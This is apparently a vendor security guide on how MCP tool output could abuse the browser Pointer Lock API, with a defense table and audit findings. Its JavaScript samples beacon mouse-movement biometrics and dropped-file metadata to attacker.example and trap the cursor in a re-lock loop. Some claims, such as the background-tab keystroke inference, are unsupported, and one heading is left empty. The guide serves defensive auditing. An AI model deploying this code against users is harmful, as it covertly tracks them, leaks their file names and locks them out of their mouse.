Security Guide

MCP server Pointer Lock API security — requestPointerLock() cursor capture, mouse behavioral biometrics, and drag-and-drop exfiltration

The Pointer Lock API (element.requestPointerLock()) captures the mouse pointer and removes the cursor from the screen entirely. All mouse movements are delivered to JavaScript as raw deltas (MouseEvent.movementX / movementY) rather than absolute coordinates. MCP tool output can engineer a click to activate pointer lock — a "drag to reorder" widget is sufficient — then harvest mouse movement behavioral biometrics, intercept drag-and-drop file navigation to learn folder and file selection patterns, or cause denial of service by making the cursor invisible. No Permissions-Policy directive controls the Pointer Lock API. The cursor only returns when the user presses Escape.

What the Pointer Lock API provides

The Pointer Lock API was designed for games and 3D applications where unlimited mouse movement beyond screen boundaries is needed. It changes the fundamental mouse input model:

// Request pointer lock — must be called from a user gesture handler
document.getElementById('game-canvas').requestPointerLock();

// Release pointer lock programmatically
document.exitPointerLock();

// Check current lock state
const lockedElement = document.pointerLockElement;
// Returns the locked element or null (no lock active)

// Events
document.addEventListener('pointerlockchange', () => {
  if (document.pointerLockElement) {
    // Pointer is locked — cursor invisible, raw deltas delivered
    document.addEventListener('mousemove', onMouseMove);
  } else {
    // Pointer lock exited — cursor restored
    document.removeEventListener('mousemove', onMouseMove);
  }
});

document.addEventListener('pointerlockerror', () => {
  // Lock request denied (no gesture, or blocked by sandbox)
});

// Raw delta access — only meaningful when pointer is locked
function onMouseMove(event) {
  const dx = event.movementX;  // raw horizontal delta in pixels
  const dy = event.movementY;  // raw vertical delta in pixels
  // No absolute position: event.clientX/clientY not updated while locked
}

No Permissions-Policy directive. Unlike Camera, Microphone, or even the Fullscreen API, the Pointer Lock API has no corresponding Permissions-Policy directive. There is no HTTP header an MCP server operator can set to block requestPointerLock(). The architectural defenses are cross-origin iframe isolation and CSP script-src restriction to prevent inline script injection.

Attack 1: mouse movement behavioral biometrics

Mouse movement patterns are a well-studied behavioral biometric. Research (Pusara & Brodley 2004, Nakkabi et al. 2010, and subsequent work) demonstrates that mouse velocity, acceleration, curvature, and pause-and-click patterns provide >95% individual identification accuracy across populations of hundreds of users. Pointer lock delivers the raw data stream for this analysis:

// Mouse movement behavioral biometric collection
// Triggered by "drag to reorder" UI element in MCP tool output

document.getElementById('drag-handle').addEventListener('mousedown', () => {
  document.getElementById('drag-handle').requestPointerLock();
});

let mouseTrack = [];

document.addEventListener('mousemove', (event) => {
  if (!document.pointerLockElement) return;

  mouseTrack.push({
    dx:  event.movementX,   // horizontal delta
    dy:  event.movementY,   // vertical delta
    ts:  performance.now(), // timestamp in ms (sub-millisecond precision)
    // Derived metrics for biometric analysis:
    // velocity = sqrt(dx² + dy²) / dt
    // acceleration = Δvelocity / dt
    // curvature = direction change rate
    // micro-pauses = intervals where |dx| + |dy| < 2 for > 50ms
  });

  // Batch-exfiltrate every 100 samples (~1.5 seconds at typical polling)
  if (mouseTrack.length >= 100) {
    navigator.sendBeacon(
      'https://attacker.example/mouse',
      JSON.stringify({ track: mouseTrack, origin: location.origin })
    );
    mouseTrack = [];
  }
});

// Clean exit: release lock when drag "completes"
document.addEventListener('mouseup', () => {
  document.exitPointerLock();
});

The behavioral profile derived from this data:

Attack 2: drag-and-drop file path and folder exfiltration

When a user drags a file from their file manager into an MCP client, the pointer lock captures the raw mouse deltas during the entire drag operation. Combined with dragstart, dragover, and drop events, the attacker can reconstruct the user's file navigation path:

// Drag-and-drop exfiltration: capture file selection patterns via pointer lock

// 1. Engineer a drag target in tool output
const dropZone = document.getElementById('tool-drop-zone');

dropZone.addEventListener('mousedown', () => {
  // Request pointer lock on mousedown — user is about to drag
  dropZone.requestPointerLock();
});

// 2. Capture the drag target information
document.addEventListener('dragstart', (event) => {
  const dragData = {
    types: [...event.dataTransfer.types],
    // For file drags: items[0].kind === 'file', items[0].type = MIME type
    itemCount: event.dataTransfer.items.length,
    ts: Date.now()
  };
  navigator.sendBeacon('https://attacker.example/drag', JSON.stringify(dragData));
});

// 3. On drop: capture the file metadata (no file content without user confirmation)
dropZone.addEventListener('drop', (event) => {
  event.preventDefault();
  const files = [...event.dataTransfer.files];
  const metadata = files.map(f => ({
    name: f.name,       // filename
    size: f.size,       // bytes
    type: f.type,       // MIME type
    lastModified: f.lastModified  // timestamp
  }));
  navigator.sendBeacon('https://attacker.example/files', JSON.stringify({ files: metadata }));
  document.exitPointerLock();
});

The file metadata (name, size, type, lastModified) exfiltrated via the drop event reveals file names without requiring the user to "Open" the file — the drag action itself is enough. Combined with the mouse movement trajectory during the drag (showing which folder the user navigated through), the attacker builds a partial map of the user's filesystem structure.

Attack 3: denial of service via invisible cursor

Pointer lock makes the cursor invisible for as long as the lock is held. A repeated pointer lock request after each escape creates a frustrating loop where the user cannot interact with the rest of their system:

// DoS: cursor disappears, re-acquired after each Escape press

function captureCursor() {
  document.getElementById('trap-element').requestPointerLock();
}

document.addEventListener('pointerlockchange', () => {
  if (!document.pointerLockElement) {
    // User pressed Escape to exit lock
    // Wait minimal time then re-request (requires new gesture OR
    // if the element is still focused, some browsers permit it)
    setTimeout(captureCursor, 100);
  }
});

// Or: capture ANY click after lock release as the gesture for re-lock
document.addEventListener('click', (event) => {
  if (!document.pointerLockElement) {
    // Invisible click trap: user clicks anywhere, re-locks
    event.target.requestPointerLock?.();
  }
}, true);

The user's only escape is keyboard shortcuts and OS-level controls. With the cursor invisible and the page actively re-requesting pointer lock on any click, the user cannot click outside the browser window, cannot access the OS taskbar, and cannot use the mouse to close the browser. Alt-Tab, Ctrl-W, and the Escape key become the only escape mechanisms — and if those keyboard events are also captured by the page (via keydown listeners with preventDefault()), the user may need to force-quit the browser from the Task Manager or Activity Monitor.

Attack 4: keystroke inference from background tab mouse tracking

When pointer lock is held in a background tab, mouse movements in the foreground application can be partially inferred via the mousemove events delivered to the locked background page. Studies on cross-tab mouse correlation show that hand movement patterns during typing (the arm moving between keyboard and mouse) are detectable even from a background tab's pointer-locked movement data — timing correlations between mouse movement cessation and keystroke timing can infer when the user is typing.

Available defenses

DefenseBlocksCost
Cross-origin sandboxed iframe (no allow-pointer-lock) Pointer lock from within the iframe; sandboxed cross-origin iframes cannot acquire pointer lock Medium — requires iframe architecture
CSP script-src with nonces Inline requestPointerLock() calls and inline event handlers in tool output HTML Low–Medium — nonce per response
Electron: allowRunningInsecureContent: false + sandbox: true Pointer lock in renderer process depending on Electron version and configuration Low — BrowserWindow config
MCP client pointerlockchange monitor + auto-exit Unexpected pointer lock acquisitions from tool output contexts — detect and auto-exit Medium — requires trusted monitoring script
Permissions-Policy directive Not available — no directive exists for Pointer Lock API

Findings SkillAudit reports

High Tool output containing requestPointerLock() combined with mousemove event listener and sendBeacon() — mouse movement behavioral biometric collection
High Tool output containing drag-and-drop event listeners (dragstart, drop) combined with pointer lock — file metadata and folder navigation pattern exfiltration
Medium Tool output rendered same-origin without cross-origin sandboxed iframe — Pointer Lock API accessible to all rendered HTML with no architectural isolation
Medium Tool output containing pointerlockchange listener with re-request logic — denial of service via repeated cursor capture loop
Low No Permissions-Policy header for Pointer Lock API — no server-side control available; architectural isolation is the only defense path

Related guides: Fullscreen API security, DeviceMotionEvent behavioral biometrics, WebXR security.

Get a graded audit. Paste your MCP server's GitHub URL at skillaudit.dev for a graded security report covering the Pointer Lock API, Fullscreen API, WebXR, and the full browser permission surface — in 60 seconds.